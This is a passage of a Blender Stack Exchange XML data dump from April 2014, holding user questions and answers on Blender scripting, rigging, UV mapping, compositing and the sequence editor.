  <row Id="8451" PostTypeId="2" ParentId="8450" CreationDate="2014-04-10T04:54:19.033" Score="3" Body="&lt;p&gt;Tested with the default scene in editmode with a single vertex selected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; import bpy&#xA; vertex_idx = 0&#xA; obj = bpy.context.object&#xA; other_obj = [o for o in bpy.context.scene.objects if o != obj][0]&#xA;&#xA;&#xA; mod_name = &quot;Hook&quot; + str(vertex_idx)&#xA; obj.modifiers.new(mod_name, type='HOOK')&#xA; obj.modifiers[mod_name].object = other_obj&#xA;&#xA; bpy.ops.object.hook_assign(modifier=mod_name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked for me, however this code shows a common mistake,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is that you're assuming Blender is giving you the name you ask for,&#xA;There is no guarantee you get the name you ask for when creating new data. (it could be shortened or have a &lt;code&gt;.001&lt;/code&gt; added if the name exists already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So best use the modifier name directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mod = obj.modifiers.new(&quot;Hook&quot; + str(vertex_idx), type='HOOK')&#xA; mod.object = other_obj&#xA;&#xA; bpy.ops.object.hook_assign(modifier=mod.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-10T04:54:19.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8452" PostTypeId="1" CreationDate="2014-04-10T04:54:23.480" Score="5" ViewCount="1408" Body="&lt;p&gt;I have tried to map this simple object, but the uv mapping does not correspond to what i see in the textured object. It cuts the image a bit on top and a bit on the bottom of the faces. It does not fill the faces with the texture, even though i have mapped them correctly. Does anyone know what could be happening?&#xA;Thanks in advance.&lt;img src=&quot;https://i.stack.imgur.com/6c40T.png&quot; alt=&quot;Uvmapping&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3086" LastActivityDate="2014-10-08T18:38:01.380" Title="UV mapping not filling faces" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8453" PostTypeId="5" CreationDate="2014-04-10T06:02:06.790" Score="0" Body="" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-10T06:02:06.790" LastActivityDate="2014-04-10T06:02:06.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8454" PostTypeId="4" CreationDate="2014-04-10T06:02:06.790" Score="0" Body="Use this tag for questions related to precisely positioning objects with the snapping tools." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-04-10T06:02:06.790" LastActivityDate="2014-04-10T06:02:06.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8455" PostTypeId="5" CreationDate="2014-04-10T06:03:14.290" Score="0" Body="&lt;p&gt;Edges are used extensively in blender. Every mesh is represented with &lt;a href=&quot;http://blender.stackexchange.com/questions/tagged/vertices&quot;&gt;vertices&lt;/a&gt; edges and &lt;a href=&quot;http://blender.stackexchange.com/questions/tagged/faces&quot;&gt;faces&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Documentation for many edge editing tools on the &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/meshes/editing/edge/index.html#edge-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;.&lt;br /&gt;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/Edge_%28geometry%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia article&lt;/a&gt; on geometric edges.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T11:57:31.503" LastActivityDate="2020-10-06T11:57:31.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8456" PostTypeId="4" CreationDate="2014-04-10T06:03:14.290" Score="0" Body="An edge is a line segment connecting two vertices. An edge always connects two vertices by a straight line. The edges are the “wires” you see when you look at a mesh in wireframe view. They are usually invisible on the rendered image. They are used to construct faces." OwnerUserId="599" LastEditorUserId="15924" LastEditDate="2020-10-06T11:57:49.637" LastActivityDate="2020-10-06T11:57:49.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8458" PostTypeId="1" AcceptedAnswerId="8461" CreationDate="2014-04-10T07:16:43.283" Score="2" ViewCount="9755" Body="&lt;p&gt;I'm following &lt;a href=&quot;https://www.youtube.com/watch?v=cGvalWG8HBU&quot; rel=&quot;nofollow noreferrer&quot;&gt;this rigging tutorial&lt;/a&gt;. Everything worked perfectly until 10:40, where the uploader asks to set parent with automatic weights. This completely deforms the mesh, as shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/023.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;aa http://dl.dropboxusercontent.com/u/62862049/Screenshots/023.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/024.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;bb http://dl.dropboxusercontent.com/u/62862049/Screenshots/024.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.datafilehost.com/d/515d781a&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link for the .blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3057" LastEditorUserId="3057" LastEditDate="2014-04-10T07:31:30.733" LastActivityDate="2016-08-15T06:13:49.487" Title="Setting parent to armature with automatic weights deforms the mesh" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;armature&gt;&lt;rigging&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8459" PostTypeId="1" AcceptedAnswerId="8464" CreationDate="2014-04-10T07:49:56.960" Score="14" ViewCount="14287" Body="&lt;p&gt;I need to get the x,y,z values of an object as well as the bounding box through a script. So far I have the area and volume with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.new()&#xA;bm.from_object(bpy.context.object, bpy.context.scene)&#xA;area = str(sum(f.calc_area() for f in bm.faces))&#xA;volume = str(bm.calc_volume())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried something like this for the bounding box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bb = str(bm.dimensions())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bb = bpy.data.objects[&quot;test2-2&quot;].dimensions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but neither have worked. As far as the x,y,z values go I'm stumped. Please let me know if you have any suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2020-04-21T09:43:06.720" Title="Get Blender X,Y,Z and Bounding Box with script" Tags="&lt;scripting&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8460" PostTypeId="1" AcceptedAnswerId="12113" CreationDate="2014-04-10T08:06:42.753" Score="5" ViewCount="4577" Body="&lt;p&gt;I am trying to export an .STL I can actually 3D print with Blender. I have run through all the tutorials, but my model won't print correctly. I believe the problem would be solved if I could just select the outer shell of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to extract everything that is outside (the shell) and delete the inner core. After that I would like to close holes and simplify the model to print. How can I achieve this? Thank you for your help. &lt;/p&gt;&#xA;" OwnerUserId="3087" LastEditorUserId="599" LastEditDate="2014-06-08T22:40:09.853" LastActivityDate="2016-09-20T13:59:54.940" Title="Blender 3D Printing hollow model" Tags="&lt;3d-printing&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8461" PostTypeId="2" ParentId="8458" CreationDate="2014-04-10T08:48:59.587" Score="2" Body="&lt;p&gt;First of all try to align your bone. It can help a lot for a better rig. For doing that follow this step : show the axes of your bones, enter in the edit mode of your rig and align your bone with the roll property on the right pannel of the 3D view. You can see an exemple in the screen below!&lt;img src=&quot;https://i.stack.imgur.com/zYYua.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can do your automatic weight. &#xA;I looked a bit on your rig and apparently you played a bit with it. You have to reset all the roation of your bone in pose mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go in pose mode, select all bones with &lt;kbd&gt;a&lt;/kbd&gt; and types &lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now you have to play a bit with the pole angle of your IK modifier for align all your bone. &lt;img src=&quot;https://i.stack.imgur.com/JGvkj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally with this 3 tips your armature has a better set up.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2014-04-10T08:48:59.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8462" PostTypeId="1" CreationDate="2014-04-10T09:13:11.063" Score="2" ViewCount="493" Body="&lt;p&gt;I'm wondering whether there is an equivalent functionality in Blender to simulate the way Flash let's you create object &quot;instances&quot; each of which encapsulates other objects and even animations. The key thing here is that you can have multiple instances of the outer object and if you change the internal setup, all instances will be updated on the main stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The motivation is that I'm trying to create in Blender an animation similar to a camera iris where each of the fins is an identical shape with an identical animation  but with each instance rotated a certain amount.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Techniques like the duplication one here seem to only work with the outer most object in a parented stack: &lt;a href=&quot;https://blender.stackexchange.com/questions/510/how-can-i-duplicate-a-mesh-along-a-curve&quot;&gt;How can I duplicate a mesh along a curve?&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And linked duplicates duplicate (w/o linking) the animation actions in the NLA editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this kind of encapsulation possible in Blender?&lt;/p&gt;&#xA;" OwnerUserId="2996" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-08-24T00:28:24.027" Title="Nested objects/animations like in Flash?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8463" PostTypeId="1" CreationDate="2014-04-10T09:15:00.573" Score="1" ViewCount="282" Body="&lt;p&gt;I am trying to change root translation of armature (loaded by using bvh) using python script in bge but not able to update values.&#xA;I tried following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_set(3)  &#xA;bpy.data.objects['walk_turn_180'].pose.bones[0].location = [0, -10, 0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its not working for me. When I change frame the values are reset to original values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another try..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene = bge.logic.getCurrentScene()  &#xA;source = scene.objects  &#xA;main_arm = source.get('walk_turn_180')  &#xA;bpy.context.scene.frame_set(3)  &#xA;main_arm.channels[0].location = [0, -10, 0 ] &#xA;main_arm.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any best way to do it or am I doing something wrong? &#xA;Also, instead of &lt;code&gt;bpy.context.scene.frame_set(3)&lt;/code&gt; is there any method to change keframe using bge?&lt;/p&gt;&#xA;" OwnerUserId="3088" LastEditorUserId="29" LastEditDate="2014-04-10T11:15:36.593" LastActivityDate="2015-03-27T12:01:49.233" Title="How to update root translation using python script in bge?" Tags="&lt;game-engine&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8464" PostTypeId="2" ParentId="8459" CreationDate="2014-04-10T12:57:32.933" Score="11" Body="&lt;p&gt;Both location and dimensions are vectors, meaning they'll return a vector of three values (x, y, z). If you want to get only one axis, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['object_name'].location.x&#xA;bpy.data.objects['object_name'].location.y&#xA;bpy.data.objects['object_name'].location.z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The dimensions of the bounding box of that object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['object_name'].dimensions.x&#xA;bpy.data.objects['object_name'].dimensions.y&#xA;bpy.data.objects['object_name'].dimensions.z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can set the values by simply using &lt;code&gt;obj.location.x = 5&lt;/code&gt;, or if you would like to set all three axes, you can do &lt;code&gt;obj.location = (1, 2, 3)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-04-10T12:57:32.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8465" PostTypeId="1" AcceptedAnswerId="8489" CreationDate="2014-04-10T13:02:46.783" Score="3" ViewCount="2477" Body="&lt;p&gt;I am attempting to create my own transfer function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first I draw a curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;3D View &gt; View &gt; Top&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Info &gt; Add &gt; Curve &gt; Bezier&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; to enter Edit Mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Curve Display &gt; Normals &gt; (off)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Properties &gt; (Curve icon) &gt; Shape &gt; 2D&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the curve using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; to select waypoints or control points&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; to move them,&lt;/li&gt;&#xA;&lt;li&gt;Select last waypoint, &lt;kbd&gt;E&lt;/kbd&gt; to 'extrude' i.e. add another waypoint,&#xA;&lt;br&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select two adjacent waypoints using &lt;kbd&gt;RMB&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt; &gt; &lt;kbd&gt;W&lt;/kbd&gt; &gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So now I have my curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F0w1H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I now, from a Python script, &lt;strong&gt;retrieve the associated y-value for a given x-value?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S:&#xA;This question follows from: &lt;a href=&quot;https://blender.stackexchange.com/questions/8413/create-custom-graph-and-access-values-from-python&quot;&gt;Create custom graph and access values from Python&lt;/a&gt; but I realised that trying to hijack the keyframe animation curve editor for this purpose is trying to get a square peg into a round hole.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-04-26T18:37:34.943" Title="In Python, given x-value on 2D Bezier Curve, return y-value" Tags="&lt;python&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8466" PostTypeId="1" AcceptedAnswerId="8467" CreationDate="2014-04-10T16:32:00.200" Score="5" ViewCount="1458" Body="&lt;p&gt;This question came up in the irc channel yesterday.  The fellow had a model he was turning into a sprite for a 2D game.  He wanted it to be aliased inside, but have a hard (aliased) edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting transparent images is easy.  Go to the Render Properties panel and set your Alpha to Transparent and make sure the file format is saving RGBA channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNYVC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting a hard (aliased) edge is easy.  Turn off Anti-Aliasing in the Render Properties.  This gives your model hard edges, even in the internal pixels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bRPAQ.png&quot; alt=&quot;turn off Anti-Aliasing in the Render Properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if turn on anti-aliasing you get soft edges, both inside, and outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MHtfC.png&quot; alt=&quot;turn on Anti-Aliasing in the Render Properties&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you get hard edges on the outside, but soft edges inside?&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="12" LastEditDate="2014-04-22T06:20:47.083" LastActivityDate="2017-07-02T06:12:00.353" Title="how do I create a sprite with hard (aliased) edges, but still be antialiased inside?" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8467" PostTypeId="2" ParentId="8466" CreationDate="2014-04-10T16:32:00.200" Score="3" Body="&lt;p&gt;This answer was composed based on help from several individuals in the #blender IRC channel (you know who you are).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is to use blender's Compositor.  Start out by clicking the Use Nodes checkbox.  That should create the two-node pipeline that does nothing exciting.  Route the alpha channel through Math node (available through the Converter submenu of the shift-A menu) configured to do a Greater Than operation against 0.001.  This means that an alpha of 0 will remain zero, but an alpha of 0.001 or higher (and 0.001 &amp;lt; 1/255)  will be converted to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K6BG8.png&quot; alt=&quot;Compositor with Greater Than applied to alpha channel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that remains is that the edges that otherwise would have been translucent are now kind of dark.  That's because the Image channel coming out of the Render Layers node is premultiplied.  To correct for this, add an Alpha Convert node (available under the Converter submenu) and route the image channel through that on its way to the Composite node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jM7ed.png&quot; alt=&quot;Compositor with Alpha Convert from premultiplied to straight&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your edges are hard and they match the thresholded alpha channel.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2014-04-10T18:46:49.980" LastActivityDate="2014-04-10T18:46:49.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8468" PostTypeId="2" ParentId="8465" CreationDate="2014-04-10T17:20:47.703" Score="3" Body="&lt;p&gt;There is a utility function to interpolate a bezier spline segment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils.geometry import interpolate_bezier&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;API docs: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/mathutils.geometry.html#mathutils.geometry.interpolate_bezier&quot; rel=&quot;nofollow&quot;&gt;mathutils.geometry.interpolate_bezier&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-10T17:20:47.703" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8469" PostTypeId="1" AcceptedAnswerId="8540" CreationDate="2014-04-10T17:21:18.477" Score="6" ViewCount="205" Body="&lt;p&gt;So I am making a video in blender, and it was originally an Adobe After Effects thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=kkTmU_hJbbw&quot;&gt;https://www.youtube.com/watch?v=kkTmU_hJbbw&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm using indirect lighting in the world tab, and the emit in the materials tab.&#xA;But I cant get the text/circles to disappear after it shows up.&#xA;At first I tried the mask option of the transparency option, but that showed up on the floor object.&#xA;Then I tried using the Boolean modifier, but when the circle hit the cube used to make it disappear, the cube would get the same material settings, which included the emit property.&#xA;So I really need help!&#xA;Any advice? &lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="12" LastEditDate="2014-04-22T06:21:50.540" LastActivityDate="2014-04-22T06:21:50.540" Title="How to swipe transparency?" Tags="&lt;workflow&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8470" PostTypeId="2" ParentId="8459" CreationDate="2014-04-10T17:48:07.043" Score="21" Body="&lt;p&gt;To include parenting and drivers, use this for the actual object location / origin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.context.object&#xA;&#xA;ob.matrix_world.translation # or .to_translation()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;You can get the bounding box corners &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Object.html?highlight=bound_box#bpy.types.Object.bound_box&quot; rel=&quot;noreferrer&quot;&gt;Object.bound_box&lt;/a&gt; in object-space and multiply by &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Object.html?highlight=matrix_world#bpy.types.Object.matrix_world&quot; rel=&quot;noreferrer&quot;&gt;Object.matrix_world&lt;/a&gt; for world-space:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from mathutils import Vector&#xA;bbox_corners = [ob.matrix_world * Vector(corner) for corner in ob.bound_box]&#xA;# bbox_corners = [ob.matrix_world @ Vector(corner) for corner in ob.bound_box]  # Use this in V2.80+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the bounding box is not axis aligned.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="86891" LastEditDate="2020-04-21T09:43:06.720" LastActivityDate="2020-04-21T09:43:06.720" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8471" PostTypeId="2" ParentId="8469" CreationDate="2014-04-10T17:54:03.913" Score="4" Body="&lt;p&gt;With the boolean on the circle set to 'Difference' I did not find that the circle lost it's material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LxJSh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: Make sure that he circle has some volume so it isn't completely flat. Select all the faces of the circle and use 'Extrude' (&lt;kbd&gt;E&lt;/kbd&gt;) to give the circle some volume.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cube that is used as the masking object can then be set to not render by selecting it and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Resulting in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NogkJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-04-10T17:54:03.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8472" PostTypeId="1" AcceptedAnswerId="8473" CreationDate="2014-04-10T18:09:26.287" Score="5" ViewCount="3837" Body="&lt;p&gt;I got few audio files in my sequence editor, and I would like to mute them all temporarily. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="3091" LastEditorUserId="599" LastEditDate="2014-04-11T00:49:45.880" LastActivityDate="2017-06-02T07:04:40.300" Title="Mute audio files for playback?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8473" PostTypeId="2" ParentId="8472" CreationDate="2014-04-10T18:47:31.340" Score="3" Body="&lt;p&gt;You can first cut the audio clips by placing the time cursor at the right place, then hit &lt;kbd&gt;K&lt;/kbd&gt;. This will separate the clip in two clips. Repeat the operation for the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can mute the &lt;strong&gt;selected&lt;/strong&gt; (active) audio clip by clicking the little &lt;strong&gt;eye icon&lt;/strong&gt; in the properties panel (to show it, press &lt;kbd&gt;N&lt;/kbd&gt; when hovering the sequence editor, or click the little (+) button at the top right corner of the window):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DVG2J.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method would be to animate (with keyframes) the &quot;Volume&quot; setting between values 0 (mute) and 1 (listen):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7HwKD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="527" LastEditDate="2014-04-11T10:20:32.397" LastActivityDate="2014-04-11T10:20:32.397" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8474" PostTypeId="1" CreationDate="2014-04-10T19:12:52.557" Score="1" ViewCount="781" Body="&lt;p&gt;Over the past few weeks, shortly before 2.7 and during 2.7, I've been having trouble with various hotkeys and mouse controls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Occasionally,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; will not grab a transform axis to manipulate objects, but it will only relocate the 3D Cursor.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Numpad&lt;/kbd&gt; controls go from changing view to switching layers.&lt;/li&gt;&#xA;&lt;li&gt;Many other controls, such as &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;+&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt; for growing and shrinking selections, refuse to work or work differently unless I press or hold the &lt;kbd&gt;Esc&lt;/kbd&gt; key first.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The interesting thing is that this doesn't happen constantly.  When I start a session of modeling, controls work normally, but at some random point during the session the controls will flip over to what I described above.&lt;/p&gt;&#xA;" OwnerUserId="3092" LastEditorUserId="1363" LastEditDate="2014-07-09T22:45:14.533" LastActivityDate="2014-08-08T23:35:54.107" Title="Having repeating problems with hotkeys and mouse controls, how can I fix them?" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8475" PostTypeId="1" AcceptedAnswerId="8549" CreationDate="2014-04-10T19:19:17.883" Score="17" ViewCount="14568" Body="&lt;p&gt;I am using the Blender Internal render engine. I have an material slot with no material assigned to it. How can I assign a material to a slot using python? This should work in edit mode as well. Basically I would like to assign materials to specific faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fwCUj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="1476" LastEditDate="2014-04-13T11:20:13.887" LastActivityDate="2017-03-30T01:14:10.080" Title="Python - Set material to material slot" Tags="&lt;python&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="6" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8476" PostTypeId="1" CreationDate="2014-04-10T19:45:10.347" Score="3" ViewCount="5678" Body="&lt;p&gt;I am new to Blender, and am currently following tutorials to try and generate a rig using rigify. However as you can see, it's only generating a rig for a few bones, not the complete skeleton: &lt;img src=&quot;https://i.stack.imgur.com/MHPxy.png&quot; alt=&quot;Head Torso Root rigify rig&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching for a solution, the only answer I can find is to make sure Auto Run Python Scripts is turned on, which it is. Here (hopefully, if I've done it right!) is my Blender file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/28335&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/28335&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3093" LastActivityDate="2017-07-26T16:29:25.727" Title="Rigify not generating a full rig skeleton" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;rigify&gt;" AnswerCount="2" CommentCount="2" 